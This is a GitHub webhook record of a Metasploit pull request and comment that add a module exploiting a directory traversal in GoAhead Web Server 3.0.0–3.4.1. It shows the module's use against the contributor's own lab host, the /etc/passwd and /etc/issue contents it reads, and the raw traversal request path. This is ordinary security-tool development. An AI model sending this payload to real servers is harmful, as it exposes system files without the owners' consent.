{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5101","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5101/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5101/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5101/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5101","id":67012126,"number":5101,"title":"Add Directory Traversal for GoAhead Web Server","user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":2,"created_at":"2015-04-07T23:26:14Z","updated_at":"2015-04-08T18:56:11Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5101","html_url":"https://github.com/rapid7/metasploit-framework/pull/5101","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5101.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5101.patch"},"body":"#### Module to read file via directory traversal in GoAhead Web Server.\r\n\r\n  Application: GoAhead Embedded Web Server v3.4.1\r\n  Homepage: http://embedthis.com/goahead/index.html\r\n  Source Code: https://github.com/embedthis/goahead\r\n\r\n#### Vulnerable packages*\r\n        \r\n  3.0.0 - 3.4.1 (3.x.x series before 3.4.2) \r\n  \r\n#### Usage:\r\n\r\n##### Linux (Ubuntu 12.04.5):\r\n```\r\nmsf > use auxiliary/scanner/http/goahead_traversal \r\nmsf auxiliary(goahead_traversal) > show options \r\n\r\nModule options (auxiliary/scanner/http/goahead_traversal):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   DEPTH     5                yes       Traversal Depth (to reach the root folder)\r\n   FILEPATH  /etc/passwd      yes       The path to the file to read\r\n   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOSTS                     yes       The target address range or CIDR identifier\r\n   RPORT     80               yes       The target port\r\n   THREADS   1                yes       The number of concurrent threads\r\n   VHOST                      no        HTTP server virtual host\r\n\r\nmsf auxiliary(goahead_traversal) > info\r\n\r\n       Name: GoAhead Embedded Web Server Directory Traversal\r\n     Module: auxiliary/scanner/http/goahead_traversal\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Normal\r\n\r\nProvided by:\r\n  Matthew Daley\r\n  Roberto Soares Espreto <robertoespreto@gmail.com>\r\n\r\nBasic options:\r\n  Name      Current Setting  Required  Description\r\n  ----      ---------------  --------  -----------\r\n  DEPTH     5                yes       Traversal Depth (to reach the root folder)\r\n  FILEPATH  /etc/passwd      yes       The path to the file to read\r\n  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]\r\n  RHOSTS                     yes       The target address range or CIDR identifier\r\n  RPORT     80               yes       The target port\r\n  THREADS   1                yes       The number of concurrent threads\r\n  VHOST                      no        HTTP server virtual host\r\n\r\nDescription:\r\n  This module exploits a directory traversal vulnerability in the \r\n  EmbedThis GoAhead Web Server v3.4.1, allowing to read arbitrary \r\n  files with the web server privileges.\r\n\r\nReferences:\r\n  http://cvedetails.com/cve/2014-9707/\r\n  http://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html\r\n\r\nmsf auxiliary(goahead_traversal) > set RHOSTS 192.168.1.46\r\nRHOSTS => 192.168.1.46\r\nmsf auxiliary(goahead_traversal) > run\r\n\r\nroot:x:0:0:root:/root:/bin/bash\r\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\r\nbin:x:2:2:bin:/bin:/bin/sh\r\nsys:x:3:3:sys:/dev:/bin/sh\r\nsync:x:4:65534:sync:/bin:/bin/sync\r\ngames:x:5:60:games:/usr/games:/bin/sh\r\nman:x:6:12:man:/var/cache/man:/bin/sh\r\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\r\nmail:x:8:8:mail:/var/mail:/bin/sh\r\nnews:x:9:9:news:/var/spool/news:/bin/sh\r\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\r\nproxy:x:13:13:proxy:/bin:/bin/sh\r\nwww-data:x:33:33:www-data:/var/www:/bin/sh\r\nbackup:x:34:34:backup:/var/backups:/bin/sh\r\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\r\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\r\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\r\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\r\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\r\nsyslog:x:101:103::/home/syslog:/bin/false\r\nmessagebus:x:102:105::/var/run/dbus:/bin/false\r\ncolord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false\r\nlightdm:x:104:111:Light Display Manager:/var/lib/lightdm:/bin/false\r\nwhoopsie:x:105:114::/nonexistent:/bin/false\r\navahi-autoipd:x:106:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false\r\navahi:x:107:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false\r\nusbmux:x:108:46:usbmux daemon,,,:/home/usbmux:/bin/false\r\nkernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false\r\npulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false\r\nrtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false\r\nspeech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh\r\nhplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false\r\nsaned:x:114:123::/home/saned:/bin/false\r\nespreto:x:1000:1000:espreto,,,:/home/espreto:/bin/bash\r\nvboxadd:x:999:1::/var/run/vboxadd:/bin/false\r\npostgres:x:115:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\r\nmysql:x:116:126:MySQL Server,,,:/nonexistent:/bin/false\r\n\r\n[+] 192.168.1.46:80 - File saved in: /home/espreto/.msf4/loot/20150407194735_default_192.168.1.46_goahead.traversa_206479.txt\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(goahead_traversal) > set FILEPATH /etc/issue\r\nFILEPATH => /etc/issue\r\nmsf auxiliary(goahead_traversal) > run\r\n\r\nUbuntu 12.04.5 LTS \\n \\l\r\n\r\n\r\n[+] 192.168.1.46:80 - File saved in: /home/espreto/.msf4/loot/20150407194743_default_192.168.1.46_goahead.traversa_164437.txt\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(goahead_traversal) >\r\n```\r\n##### Windows (Version 8):\r\n\r\nNot tested yet."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/91003628","html_url":"https://github.com/rapid7/metasploit-framework/pull/5101#issuecomment-91003628","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5101","id":91003628,"user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"created_at":"2015-04-08T18:56:11Z","updated_at":"2015-04-08T18:56:11Z","body":"@wchen-r7 I just specified the path of the files that gohead created.\r\n\r\n$ sudo goahead -v --home /etc/goahead **/var/www/goahead/**\r\n\r\n```\r\nespreto@msfdevel:~/Softwares/goahead_2$ ls -l /var/www/goahead/\r\ntotal 8\r\n-rwxr-xr-x 1 root root 2999 Apr  7 17:47 favicon.ico\r\n-rw-r--r-- 1 root root  155 Apr  7 17:47 index.html\r\nespreto@msfdevel:~/Softwares/goahead_2$ sudo goahead -v --home /etc/goahead /var/www/goahead/\r\n[sudo] password for espreto: \r\ngoahead: 2: Configuration for Embedthis GoAhead\r\ngoahead: 2: ---------------------------------------------\r\ngoahead: 2: Version:            3.4.1\r\ngoahead: 2: BuildType:          Debug\r\ngoahead: 2: CPU:                x86\r\ngoahead: 2: OS:                 linux\r\ngoahead: 2: Host:               127.0.1.1\r\ngoahead: 2: Directory:          /etc/goahead\r\ngoahead: 2: Documents:          /var/www/goahead/\r\ngoahead: 2: Configure:          me -d -q -platform linux-x86-default -configure . -with est -gen make\r\ngoahead: 2: ---------------------------------------------\r\ngoahead: 2: Started http://*:80\r\ngoahead: 2: Started https://*:443\r\ngoahead: 2: GET ../../../../../.x/.x/.x/.x/.x/etc/passwd HTTP/1.1\r\n```\r\nYou see this message?\r\n\r\n![goahead](https://cloud.githubusercontent.com/assets/1926764/7052858/906b99c6-de07-11e4-9c57-43ef9e4f0006.png)\r\n\r\n"}}